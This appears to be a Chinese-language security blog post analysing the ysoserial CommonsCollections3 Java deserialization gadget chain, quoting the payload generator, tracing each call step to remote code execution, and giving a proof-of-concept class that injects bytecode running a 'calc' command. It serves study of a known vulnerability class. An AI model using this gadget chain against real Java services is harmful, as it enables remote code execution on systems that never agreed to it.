type
Post
status
Published
date
Dec 15, 2022
slug
summary
tags
工具
Java
category
技术分享
icon
password
Property
Feb 9, 2023 07:35 AM

前言

JDK<1.8u80,先来看看CommonsCollections3反序列化调用链的利用源代码
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { //创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性 Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
该链在工具中并未给出调用链,但是可以看到的是它有点像CC1和CC2的结合体,先是构建出TemplatesImpl实例并将恶意字节码赋值到_bytecodes属性中。再来看在CC1中是使用了ChainedTransformer结合InvokerTransformer类,再利用动态代理机制触发LazyMap绑定ChainedTransformer实例来构建链式反射执行命令的语句。而这条调用链不同的是使用了ChainedTransformer结合InstantiateTransformer类来进行替代,最后执行的链则是结合了前面的TemplatesImpl实例。
也就是说CC1和CC3的区别就是走了不同的路,前者结合InvokerTransformer类,后者结合InstantiateTransformer

调用链分析

首先与CC2一样,创建一个TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码
notion image
ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class 传递给下一个Transformer,也就是InstantiateTransformerInstantiateTransformer的构造方法传入了两个参数,第二个参数也就是将我们构造的TemplatesImpl实例给传进去了
notion image
这里我们看看InstantiateTransformer类中的transform方法
public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
在本例中input正是上面的ConstantTransformer传下来的TrAXFilter.class,因此可以直接看成
Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class); return con.newInstance(templatesImpl);
这边我们先看到TrAXFilter类的构造方法中
notion image
可以看到,其中直接调用了构造参数的newTransformer()方法,也就是TemplatesImpl类中的newTransformer()方法以进行_bytecodes实例化
notion image
那么整个调用链的构造逻辑就出来了
1、构建恶意类templatesImpl
2、构建transformers的数组,其中是为了利用InstantiateTransformertransform方法去调用TrAXFilter类的构造方法,再去完成所构造恶意类的newTransformer()方法
3、将transformerChain绑定到LazyMap
4、动态代理AnnotationInvocationHandlerinvoke()方法

反序列化过程

通过以上构建恶意调用链后,通过序列化得到
notion image
那么接下来就看看它在反序列化中都是如何调用并执行恶意代码的,在刚进行readObject序列化时,先来到AnnotationInvocationHandler.readObject(),通过走动态代理来到AnnotationInvocationHandler.invoke()
notion image
一路来到this.memberValues.get()也就是LazyMap.get()
notion image
LazyMap缺少key,所以可以调用this.factory.transform(key),也就是ChainedTransformer.transform()
notion image
notion image
接下来也就是利用InstantiateTransformer.transform()方法去调用TrAXFilter.TrAXFilter()构造方法
notion image
而这里的templates就是一开始所构建的templatesImpl实例
notion image
最后通过TemplatesImpl.newTransformer()getTransletInstance()以完成
_bytecodes的实例化并执行了代码
notion image

调用链如下

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE
notion image

具体调用流程图

notion image

构建示例代码

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class cc3_test { public static void main(String[] args) throws Exception{ TemplatesImpl template = template(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template}); instantiateTransformer.transform(TrAXFilter.class); // TemplatesImpl template = template(); // Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})}; // // ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // Map hm = new HashMap(); // hm.put("value",1); // Map decorate = TransformedMap.decorate(hm, null, chainedTransformer); // Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); // declaredConstructor.setAccessible(true); // Object o = declaredConstructor.newInstance(Target.class, decorate); // ByteArrayOutputStream barr = new ByteArrayOutputStream(); // ObjectOutputStream oos = new ObjectOutputStream(barr); // oos.writeObject(o); // oos.close(); // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); // ois.readObject(); } public static TemplatesImpl template() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Test"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); bytecodes.setAccessible(true); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.set(templates, targetByteCodes); name.set(templates, "aaa"); tfactory.set(templates, new TransformerFactoryImpl()); return templates; } }
Ysoserial-CC2利用链分析Ysoserial-CC4利用链分析